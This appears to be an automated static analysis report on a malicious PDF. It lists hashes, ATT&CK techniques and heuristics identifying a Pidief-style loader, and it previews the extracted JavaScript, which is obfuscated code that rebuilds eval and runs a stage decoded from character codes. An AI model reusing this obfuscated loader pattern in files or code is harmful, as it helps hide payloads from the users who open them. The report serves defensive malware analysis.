Malicious PDF — malware analysis report

Static analysis result for SHA-256 0f12650e4e6c28e0…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 4b3cdfb990cb5b843fed3cafb08987b5 SHA-1: d541cf083b09b3212ab12faa156f76827131eb48 SHA-256: 0f12650e4e6c28e0ca5bb12561d458e8e06f972feda87a142a4f0891d9753df7
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader. This script reconstructs a string, likely a URL or command, by concatenating and manipulating character codes. The script's purpose is to download and execute a second-stage payload, as indicated by the obfuscated nature and the 'loader' heuristic. The ML classifier strongly flags this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB125 444 bytes
SHA-256: 90324fa9abc300781cffd1bc76863a281a3aa4b127949284b27adb50b58433a3
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
plhro='';
pye=('qwrwqr','tit');
e('vmj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
dnqx=e('String.fr'+vmj.substr(0,10));
muua = e(vmj.substr(10)['replace'](/u/g,','));
e('k=muua.length');
for (i = 0; i < k; i+=2) {
	wcznj = muua[i+1] + ('qweqwe',muua[i]);
	plhro += dnqx(wcznj);
}
e(plhro);

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